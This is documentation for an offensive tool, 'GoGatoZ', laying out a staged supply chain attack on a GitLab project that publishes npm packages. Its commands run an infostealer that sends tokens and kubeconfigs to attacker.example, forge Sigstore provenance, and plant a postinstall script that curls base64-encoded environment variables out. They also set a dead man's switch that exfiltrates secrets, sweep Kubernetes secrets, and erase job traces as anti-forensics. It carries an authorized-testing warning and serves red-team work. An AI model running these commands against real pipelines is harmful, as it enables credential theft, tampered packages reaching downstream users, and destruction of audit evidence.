Advanced Supply Chain Attacks
This guide demonstrates a cohesive multi-stage supply chain attack workflow targeting npm ecosystems through GitLab CI/CD. Each step escalates from credential discovery through package tampering to persistent access with anti-forensics.
Warning: These techniques are for authorized security testing only. Obtain written permission before testing.
Overview
Section titled “Overview”Modern CI/CD pipelines often have direct publish access to package registries (npm, PyPI, Maven). A compromised pipeline can:
- Discover registry credentials stored on runners
- Publish backdoored packages with legitimate-looking provenance
- Spread malicious content across all branches to survive cleanup
- Install dead man’s switches for persistent re-entry
This guide chains GoGatoZ’s new attack modules into a realistic engagement scenario targeting a GitLab project that publishes npm packages.
1. npm Token Discovery (Infostealer)
Section titled “1. npm Token Discovery (Infostealer)”Start by deploying the expanded infostealer payload to sweep the runner’s filesystem for credentials. The infostealer covers 40+ common credential paths including npm tokens, AI tool keys, Kubernetes configs, Docker registry auth, and GitHub CLI tokens.
# Preview the infostealer payloadgogatoz attack --payload-only --payload infostealer | jq .
# Deploy to a target project's runnergogatoz attack --commit-ci --target group/npm-project \ --payload infostealer --tags shell \ --webhook https://attacker.example/creds \ --branch gogatoz-recon --deconflict suffixThe infostealer performs a recursive .env file sweep across the build directory, extracts gh auth token output, and collects credentials from ~/.npmrc, ~/.docker/config.json, ~/.kube/config, and service account tokens at /var/run/secrets/.
Key paths swept for npm-specific credentials:
~/.npmrc(auth tokens, registry URLs)- Project-level
.npmrcfiles NPM_TOKEN/NODE_AUTH_TOKENenvironment variables- GitLab CI job tokens with registry scope
2. Authorized Package Tamper Simulation
Section titled “2. Authorized Package Tamper Simulation”Start with --payload-only to review an isolated package mutation. The default
job is manual, writes a preview archive, and contains no package install, build,
or publish command.
gogatoz attack --payload-only --payload package-tamper \ --tamper-ecosystem npm \ --tamper-trigger postinstall \ --tamper-inject-script 'node synthetic-marker.js'The same workflow supports Python and Ruby import-time entry points:
gogatoz attack --payload-only --payload package-tamper \ --tamper-ecosystem pypi --tamper-trigger import \ --tamper-entry-file src/acme_fixture/__init__.py
gogatoz attack --payload-only --payload package-tamper \ --tamper-ecosystem rubygems --tamper-trigger import \ --tamper-entry-file lib/acme_fixture.rbLive publishing requires an explicit package, an HTTPS registry, the exact
publish:<ecosystem>:<package> acknowledgement, a matching protected runtime
variable, and a human-started manual job. Public registries require another
opt-in. Keep the workflow in preview mode unless written authorization names
the exact package and registry.
Do not use a known-malicious third-party package for this exercise. Use only synthetic marker code in a package owned by the engagement sponsor.
3. Sigstore Provenance Generation
Section titled “3. Sigstore Provenance Generation”Tampered packages are suspicious if they lack provenance attestations that legitimate builds produce. Use --sigstore to generate a cosign-compatible provenance attestation that makes the tampered package appear legitimately built.
gogatoz attack --sigstore --target group/npm-project \ --sigstore-package ghcr.io/company/shared-utils \ --sigstore-version 2.1.4 \ --tags shell --branch gogatoz-attack --deconflict suffixThe generated attestation mimics the SLSA provenance format, including builder identity, source repository, and build invocation metadata from the CI environment. This defeats manual verification that only checks whether a provenance file exists.
4. Branch Mutator
Section titled “4. Branch Mutator”To survive a targeted branch deletion, use --branch-mutator to replicate a malicious file across all (or a filtered set of) branches in the project. This ensures the payload persists even if the primary attack branch is discovered and removed.
gogatoz attack --branch-mutator --target group/npm-project \ --mutator-file scripts/postinstall.sh \ --mutator-content '#!/bin/sh\ncurl -sS -d "$(printenv|base64 -w0)" https://attacker.example/cb' \ --mutator-max-branches 20Key considerations:
--mutator-max-brancheslimits blast radius during testing (set to 0 for all branches)- Choose a file path that blends with the project (e.g.,
scripts/,.github/, config files) - The mutator creates commits with innocuous messages to reduce audit log visibility
5. Dead Man’s Switch
Section titled “5. Dead Man’s Switch”Install a dead man’s switch that triggers a handler payload if the attacker’s access is revoked. The switch periodically pings a monitor URL; if the URL stops responding (because the attacker’s infrastructure is taken down or tokens are rotated), the handler fires.
gogatoz attack --dead-mans-switch --target group/npm-project \ --dms-monitor-url https://attacker.example/heartbeat \ --dms-interval 30m --dms-ttl 12h \ --dms-handler 'curl -sd "$(printenv)" https://backup.example/exfil' \ --dms-platform scheduled-pipelinePlatform options:
scheduled-pipeline(default): Creates a GitLab scheduled pipeline that runs at the specified interval. Blends with existing scheduled CI jobs.external-cron: Generates a cron job payload for execution on the runner filesystem (requires runner persistence).
The --dms-ttl controls how long the switch waits after a missed heartbeat before triggering. Set this longer than your expected check-in interval to avoid false triggers.
6. Vault and K8s Credential Harvesting
Section titled “6. Vault and K8s Credential Harvesting”Once inside the CI environment, expand access laterally by harvesting credentials from HashiCorp Vault and Kubernetes.
Vault enumeration
Section titled “Vault enumeration”CI pipelines often authenticate to Vault using JWT/OIDC tokens issued by GitLab. Use --vault-enum to enumerate all secrets reachable from the CI job’s Vault identity:
gogatoz attack --vault-enum --target group/npm-project \ --vault-addr https://vault.internal:8200 \ --vault-auth-method jwt \ --tags shellThis discovers secret engines, lists accessible paths, and attempts to read key-value pairs. Results are streamed to the configured webhook.
Kubernetes secret sweep
Section titled “Kubernetes secret sweep”If runners execute inside Kubernetes (or have access to a kubeconfig), sweep secrets from accessible namespaces:
gogatoz attack --k8s-secrets --target group/npm-project \ --k8s-namespaces default,production,kube-system \ --tags kubernetes \ --webhook https://attacker.example/k8sThe sweep reads the runner’s service account token (or mounted kubeconfig) and attempts kubectl get secrets across the specified namespaces. Discovered secrets often contain database credentials, API keys, and additional service account tokens.
7. Anti-Forensics
Section titled “7. Anti-Forensics”Clean up all attack artifacts in reverse order:
# Remove the dead man's switch scheduled pipelinegogatoz attack --target group/npm-project --cleanup \ --cleanup-pipeline <DMS_PIPELINE_ID>
# Delete attack branchesgogatoz attack --target group/npm-project --cleanup \ --cleanup-branch gogatoz-attack
# Erase job traces from all attack-related branchesgogatoz attack --target group/npm-project --cleanup --cleanup-jobs \ --cleanup-jobs-ref gogatoz-recon --cleanup-jobs-max 5 \ --cleanup-jobs-delete
gogatoz attack --target group/npm-project --cleanup --cleanup-jobs \ --cleanup-jobs-ref gogatoz-attack --cleanup-jobs-max 5 \ --cleanup-jobs-deleteNote that branch mutator commits across many branches are harder to clean up. Document which branches were touched and coordinate with the target organization for remediation.
Putting It Together
Section titled “Putting It Together”A typical advanced supply chain engagement follows this sequence:
- Recon with
infostealerpayload to discover npm tokens, kubeconfigs, and Vault access - Preview an isolated npm/PyPI/RubyGems mutation with
--payload package-tamper - Legitimize the tampered package with
--sigstoreprovenance forgery - Spread via
--branch-mutatorto survive targeted branch cleanup - Persist with
--dead-mans-switchfor re-entry if access is revoked - Expand laterally with
--vault-enumand--k8s-secrets - Clean up branches, job traces, and pipelines
Document each step with timestamps and evidence. Use --output jsonl during enumeration to capture structured findings for the final report.
See Also
Section titled “See Also”- Supply Chain Attacks for foundational supply chain techniques
- Persistence Techniques for deploy key and member addition persistence
- Post-Compromise Enumeration for initial access workflows
- Attack Command Reference for all flags and options